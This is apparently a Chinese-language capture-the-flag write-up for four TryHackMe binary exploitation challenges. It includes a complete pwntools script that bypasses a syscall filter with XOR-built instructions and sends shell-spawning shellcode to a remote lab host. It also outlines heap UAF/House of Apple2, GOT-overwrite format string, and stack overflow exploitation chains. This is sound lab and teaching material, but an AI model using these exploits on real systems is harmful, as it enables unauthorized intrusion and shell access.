THM:Tryhackmetwo WP
字数 1325 2025-08-22 12:23:24
TryHackMe Two 漏洞利用技术详解
TryExecMe2 分析
程序逻辑分析
- 程序会开辟一段可读可写可执行的区域 (RWX)
- 向该区域读入0x80字节长度的字符
- 通过forbidden函数检查,限制直接系统调用(syscall/sysenter/int 0x80)
绕过限制的技术
- 使用异或操作生成syscall指令
- 构造read系统调用进行二次写入
利用步骤
- 第一阶段shellcode构造:
shellcode = asm("""
mov rdx, 0x100
mov r15, rdi
xor rdi, rdi
mov rsi, r15
mov cx, 0x454f
xor cx, 0x4040
mov [r15+0x1e], cx
""")
这段代码会:
- 设置读取长度为0x100
- 保存原始rdi值
- 清空rdi
- 设置rsi为原始rdi值
- 通过异或生成syscall指令并写入内存
- 第二阶段payload构造:
payload = b"\x90"*0x25 + asm(shellcraft.sh())
- 使用NOP sled (0x90)填充
- 添加获取shell的shellcode
完整利用代码
from pwn import *
from pwncli import *
context(os='linux', arch='amd64', log_level='debug')
p = remote("10.10.131.135", 5002)
# 第一阶段shellcode
shellcode = asm("""
mov rdx, 0x100
mov r15, rdi
xor rdi, rdi
mov rsi, r15
mov cx, 0x454f
xor cx, 0x4040
mov [r15+0x1e], cx
""")
p.send(shellcode)
pause()
# 第二阶段payload
payload = b"\x90"*0x25 + asm(shellcraft.sh())
p.send(payload)
p.interactive()
高级技巧
使用pwntools的encode模块避免特定字符:
shellcode = asm(shellcraft.sh())
encoded_shellcode = encode(shellcode, avoid=b"\x0f\xcd")
TryaNote 分析
漏洞分析
- delete函数指针free后未置零(UAF)
- libc 2.35移除了常见hook利用点
利用步骤
-
泄露libc和堆地址:
- 申请大于0x400的堆块,free后进入unsorted bin
- 通过show泄露libc地址
- free小堆块进入tcache,泄露堆地址(注意左移12位)
-
劫持tcache_struct:
- 修改fd指向tcache_struct实现任意地址写
- 写入特定结构:
b"\x07\x00"*0x58 + b"\x00\x00"*8 + p64(_IO_list_all) + p64(heap_base+0x7e0)
-
House of Apple2利用:
- 伪造fake_file结构
- 修改_IO_list_all指向伪造结构
- 利用程序退出时刷新IO流执行system("/bin/sh")
NotSpecified2 分析
漏洞分析
- 格式化字符串漏洞
- GOT表可写
- 程序执行一次后通过exit退出
利用步骤
-
劫持exit的GOT表:
- 修改为_start实现无限循环利用
-
泄露libc基地址:
- 通过格式化字符串泄露地址
- 计算one_gadget偏移
-
最终利用:
- 修改exit的GOT表为one_gadget
- 获取shell
SlowServer 分析
漏洞分析
- 服务器监听0.0.0.0:5555
- handle_request函数存在:
- DEBUG方法:格式化字符串漏洞
- POST方法:栈溢出
利用步骤
-
泄露基地址:
- 通过格式化字符串泄露PIE基地址
- 注意远程与本地栈差异(建议使用Ubuntu 22.04调试)
-
获取交互式shell:
- 使用dup2(4, 0)和dup2(4, 1)重定向标准输入输出到套接字
- 或者使用ORW(read/open/write)方式读取flag
-
快速定位远程基地址:
- 编写fuzz脚本匹配末三位地址
- 排除0x70-0x7f开头的地址
总结
本文详细分析了四个不同的漏洞利用场景,涵盖了:
- shellcode绕过限制技术
- 堆利用中的UAF和tcache劫持
- 格式化字符串漏洞利用
- 网络服务中的漏洞组合利用
每种场景都提供了详细的利用步骤和完整代码,关键点包括内存布局理解、绕过技术、地址泄露方法和最终利用链构造。